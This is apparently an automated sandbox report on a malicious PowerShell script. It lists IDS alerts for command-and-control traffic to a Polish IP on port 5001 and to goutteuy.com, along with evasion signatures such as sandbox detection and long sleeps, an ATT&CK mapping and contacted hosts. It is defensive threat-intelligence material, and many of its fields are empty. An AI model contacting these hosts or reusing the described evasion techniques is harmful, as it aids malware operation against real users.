Edit tour
Windows
Analysis Report
XkgoE6Yb52.ps1
Overview
General Information
| Sample name: | XkgoE6Yb52.ps1renamed because original name is a hash value |
| Original sample name: | 042d6a65c72d16cd9c89ee8cf62b3477edb045ec16c83e22038d1b05a55fa635.ps1 |
| Analysis ID: | 1617748 |
| MD5: | ec5ea6c135974c85204bd38525329e5b |
| SHA1: | 131f8dfd360bf7fffbbff91f264f0664c72b724c |
| SHA256: | 042d6a65c72d16cd9c89ee8cf62b3477edb045ec16c83e22038d1b05a55fa635 |
| Tags: | 91-206-178-120ps1user-JAMESWT_MHT |
| Infos: |  |
 | |
Detection
| Score: | 76 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Uses known network protocols on non-standard ports
Contains long sleeps (>= 3 min)
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
powershell.exe (PID: 6808 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\Xkg oE6Yb52.ps 1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 6820 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
notepad.exe (PID: 6364 cmdline: "C:\Window s\System32 \notepad.e xe" "C:\Us ers\user\D esktop\Xkg oE6Yb52.ps 1" MD5: 27F71B12CB585541885A31BE22F61C83)
- cleanup
⊘No configs have been found
⊘No yara matches
| Source: | Author: frack113: | ||
| Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:06.738323+0100 | 2021697 | 1 | A Network Trojan was detected | 192.168.2.4 | 49733 | 185.211.7.193 | 443 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:08.328516+0100 | 2803274 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49737 | 91.206.178.120 | 5001 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:05.575867+0100 | 2860232 | 1 | Malware Command and Control Activity Detected | 192.168.2.4 | 49732 | 91.206.178.120 | 5001 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:05.588539+0100 | 2860233 | 1 | Malware Command and Control Activity Detected | 91.206.178.120 | 5001 | 192.168.2.4 | 49732 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-02-18T08:29:03.230549+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49731 | 104.26.13.205 | 80 | TCP |
| 2025-02-18T08:29:05.575867+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49732 | 91.206.178.120 | 5001 | TCP |
| 2025-02-18T08:29:06.738323+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49733 | 185.211.7.193 | 443 | TCP |
| 2025-02-18T08:29:08.328516+0100 | 1810000 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49737 | 91.206.178.120 | 5001 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |   |
|---|
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
| Source: | Integrated Neural Analysis Model: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
Networking | |
|---|
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | ASN Name: | ||
| Source: | ASN Name: | ||
| Source: | JA3 fingerprint: | ||
| Source: | JA3 fingerprint: | ||
| Source: | DNS query: | ||
| Source: | DNS query: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | TCP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Code function: | 0_2_0516E3F2 | |
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Code function: | 0_2_0516D2B4 | |
| Source: | Code function: | 0_2_07CB0F06 | |
| Source: | Code function: | 0_2_07CB069E | |
| Source: | Code function: | 0_2_07CB57FE | |
| Source: | Code function: | 0_2_07CB5646 | |
| Source: | Code function: | 0_2_07CB548E | |
| Source: | Code function: | 0_2_07CB5346 | |
| Source: | Code function: | 0_2_07CB52EE | |
| Source: | Code function: | 0_2_07CB5096 | |
| Source: | Code function: | 0_2_07CB51F6 | |
| Source: | Code function: | 0_2_07CB1EDE | |
| Source: | Code function: | 0_2_0A402269 | |
| Source: | Code function: | 0_2_0A402569 | |
Hooking and other Techniques for Hiding and Protection | |
|---|
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | WMI Queries: | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 DLL Side-Loading | 1 Process Injection | 1 Masquerading | OS Credential Dumping | 11 Security Software Discovery | Remote Services | 1 Archive Collected Data | 11 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 31 Virtualization/Sandbox Evasion | LSASS Memory | 1 Process Discovery | Remote Desktop Protocol | Data from Removable Media | 11 Non-Standard Port | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | Logon Script (Windows) | 1 Process Injection | Security Account Manager | 31 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 3 Ingress Tool Transfer | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 1 Obfuscated Files or Information | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 3 Non-Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 DLL Side-Loading | LSA Secrets | 1 System Network Configuration Discovery | SSH | Keylogging | 14 Application Layer Protocol | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | Steganography | Cached Domain Credentials | 1 File and Directory Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
| DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | Compile After Delivery | DCSync | 21 System Information Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 16% | Virustotal | Browse | ||
| 14% | ReversingLabs |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware | ||
| 100% | Avira URL Cloud | malware |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| goutteuy.com | 185.211.7.193 | true | true | unknown | |
| maxcdn.bootstrapcdn.com | 104.18.10.207 | true | false | high | |
| api.ipify.org | 104.26.13.205 | true | false | high |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| false | high | ||
| true |
| unknown | |
| true |
| unknown | |
| false | high |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 104.18.10.207 | maxcdn.bootstrapcdn.com | United States | 13335 | CLOUDFLARENETUS | false | |
| 185.211.7.193 | goutteuy.com | Germany | 46261 | QUICKPACKETUS | true | |
| 91.206.178.120 | unknown | Poland | 200088 | ARTNET2PL | true | |
| 104.26.13.205 | api.ipify.org | United States | 13335 | CLOUDFLARENETUS | false |
| Joe Sandbox version: | 42.0.0 Malachite |
| Analysis ID: | 1617748 |
| Start date and time: | 2025-02-18 08:28:06 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 4m 53s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 7 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | XkgoE6Yb52.ps1renamed because original name is a hash value |
| Original Sample Name: | 042d6a65c72d16cd9c89ee8cf62b3477edb045ec16c83e22038d1b05a55fa635.ps1 |
| Detection: | MAL |
| Classification: | mal76.troj.winPS1@3/10@3/4 |
| EGA Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
- Excluded IPs from analysis (whitelisted): 142.250.185.106, 142.250.185.142, 20.12.23.50, 13.107.253.45
- Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, fonts.googleapis.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, www.google-analytics.com
- Execution Graph export aborted for target powershell.exe, PID 6808 because it is empty
- Not all processes where analyzed, report is missing behavior information
